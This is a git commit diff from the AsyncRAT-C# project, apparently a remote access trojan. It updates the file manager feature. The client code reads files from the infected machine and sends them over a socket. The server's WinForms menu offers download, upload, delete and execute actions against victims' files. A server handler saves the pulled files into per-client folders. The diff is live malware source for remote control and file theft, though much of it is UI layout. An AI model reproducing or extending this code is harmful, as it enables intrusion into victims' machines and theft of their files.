Update filemanager
This commit is contained in:
parent
aed29f61ae
commit
71650d53c7
@ -112,7 +112,7 @@ namespace Client.Handle_Packet
|
||||
msgpack2.ForcePathObject("Command").AsString = "save";
|
||||
msgpack2.ForcePathObject("DWID").AsString = dwid;
|
||||
msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file);
|
||||
msgpack2.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(file));
|
||||
msgpack2.ForcePathObject("File").LoadFileAsBytes(file);
|
||||
tempSocket.Send(msgpack2.Encode2Bytes());
|
||||
tempSocket.Dispose();
|
||||
}
|
||||
|
48
AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs
generated
48
AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs
generated
@ -37,8 +37,10 @@
|
||||
this.backToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
|
||||
this.rEFRESHToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
|
||||
this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.uPLOADToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
|
||||
this.dELETEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.eXECUTEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
|
||||
@ -46,8 +48,6 @@
|
||||
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||
this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
|
||||
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.statusStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
@ -67,7 +67,7 @@
|
||||
this.listView1.Location = new System.Drawing.Point(0, 1);
|
||||
this.listView1.Name = "listView1";
|
||||
this.listView1.ShowItemToolTips = true;
|
||||
this.listView1.Size = new System.Drawing.Size(979, 427);
|
||||
this.listView1.Size = new System.Drawing.Size(1058, 511);
|
||||
this.listView1.SmallImageList = this.imageList1;
|
||||
this.listView1.TabIndex = 0;
|
||||
this.listView1.UseCompatibleStateImageBehavior = false;
|
||||
@ -88,52 +88,62 @@
|
||||
this.dELETEToolStripMenuItem,
|
||||
this.eXECUTEToolStripMenuItem});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new System.Drawing.Size(241, 247);
|
||||
this.contextMenuStrip1.Size = new System.Drawing.Size(189, 214);
|
||||
//
|
||||
// backToolStripMenuItem
|
||||
//
|
||||
this.backToolStripMenuItem.Name = "backToolStripMenuItem";
|
||||
this.backToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.backToolStripMenuItem.Size = new System.Drawing.Size(188, 32);
|
||||
this.backToolStripMenuItem.Text = "BACK";
|
||||
this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click);
|
||||
//
|
||||
// toolStripSeparator1
|
||||
//
|
||||
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
||||
this.toolStripSeparator1.Size = new System.Drawing.Size(237, 6);
|
||||
this.toolStripSeparator1.Size = new System.Drawing.Size(185, 6);
|
||||
//
|
||||
// rEFRESHToolStripMenuItem
|
||||
//
|
||||
this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem";
|
||||
this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(188, 32);
|
||||
this.rEFRESHToolStripMenuItem.Text = "REFRESH";
|
||||
this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click);
|
||||
//
|
||||
// toolStripSeparator2
|
||||
//
|
||||
this.toolStripSeparator2.Name = "toolStripSeparator2";
|
||||
this.toolStripSeparator2.Size = new System.Drawing.Size(185, 6);
|
||||
//
|
||||
// downloadToolStripMenuItem
|
||||
//
|
||||
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
|
||||
this.downloadToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.downloadToolStripMenuItem.Size = new System.Drawing.Size(188, 32);
|
||||
this.downloadToolStripMenuItem.Text = "DOWNLOAD";
|
||||
this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click);
|
||||
//
|
||||
// uPLOADToolStripMenuItem
|
||||
//
|
||||
this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem";
|
||||
this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(188, 32);
|
||||
this.uPLOADToolStripMenuItem.Text = "UPLOAD";
|
||||
this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click);
|
||||
//
|
||||
// toolStripSeparator3
|
||||
//
|
||||
this.toolStripSeparator3.Name = "toolStripSeparator3";
|
||||
this.toolStripSeparator3.Size = new System.Drawing.Size(185, 6);
|
||||
//
|
||||
// dELETEToolStripMenuItem
|
||||
//
|
||||
this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem";
|
||||
this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(188, 32);
|
||||
this.dELETEToolStripMenuItem.Text = "DELETE FILE";
|
||||
this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click);
|
||||
//
|
||||
// eXECUTEToolStripMenuItem
|
||||
//
|
||||
this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem";
|
||||
this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||
this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(188, 32);
|
||||
this.eXECUTEToolStripMenuItem.Text = "EXECUTE";
|
||||
this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click);
|
||||
//
|
||||
@ -151,9 +161,9 @@
|
||||
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.toolStripStatusLabel1,
|
||||
this.toolStripStatusLabel2});
|
||||
this.statusStrip1.Location = new System.Drawing.Point(0, 429);
|
||||
this.statusStrip1.Location = new System.Drawing.Point(0, 513);
|
||||
this.statusStrip1.Name = "statusStrip1";
|
||||
this.statusStrip1.Size = new System.Drawing.Size(979, 32);
|
||||
this.statusStrip1.Size = new System.Drawing.Size(1058, 32);
|
||||
this.statusStrip1.TabIndex = 2;
|
||||
this.statusStrip1.Text = "statusStrip1";
|
||||
//
|
||||
@ -175,21 +185,11 @@
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
||||
//
|
||||
// toolStripSeparator2
|
||||
//
|
||||
this.toolStripSeparator2.Name = "toolStripSeparator2";
|
||||
this.toolStripSeparator2.Size = new System.Drawing.Size(237, 6);
|
||||
//
|
||||
// toolStripSeparator3
|
||||
//
|
||||
this.toolStripSeparator3.Name = "toolStripSeparator3";
|
||||
this.toolStripSeparator3.Size = new System.Drawing.Size(237, 6);
|
||||
//
|
||||
// FormFileManager
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.ClientSize = new System.Drawing.Size(979, 461);
|
||||
this.ClientSize = new System.Drawing.Size(1058, 545);
|
||||
this.Controls.Add(this.statusStrip1);
|
||||
this.Controls.Add(this.listView1);
|
||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -172,20 +172,24 @@ namespace Server.Handle_Packet
|
||||
{
|
||||
Program.form1.BeginInvoke((MethodInvoker)(async () =>
|
||||
{
|
||||
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
|
||||
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
|
||||
if (SD != null)
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
|
||||
return;
|
||||
string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
|
||||
if (File.Exists(filename))
|
||||
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
|
||||
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
|
||||
if (SD != null)
|
||||
{
|
||||
File.Delete(filename);
|
||||
await Task.Delay(500);
|
||||
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
|
||||
return;
|
||||
string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
|
||||
if (File.Exists(filename))
|
||||
{
|
||||
File.Delete(filename);
|
||||
await Task.Delay(500);
|
||||
}
|
||||
await unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString));
|
||||
}
|
||||
File.WriteAllBytes(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString), unpack_msgpack.ForcePathObject("File").GetAsBytes());
|
||||
}
|
||||
catch { }
|
||||
}));
|
||||
}
|
||||
break;
|
||||
|
Loading…
x
Reference in New Issue
Block a user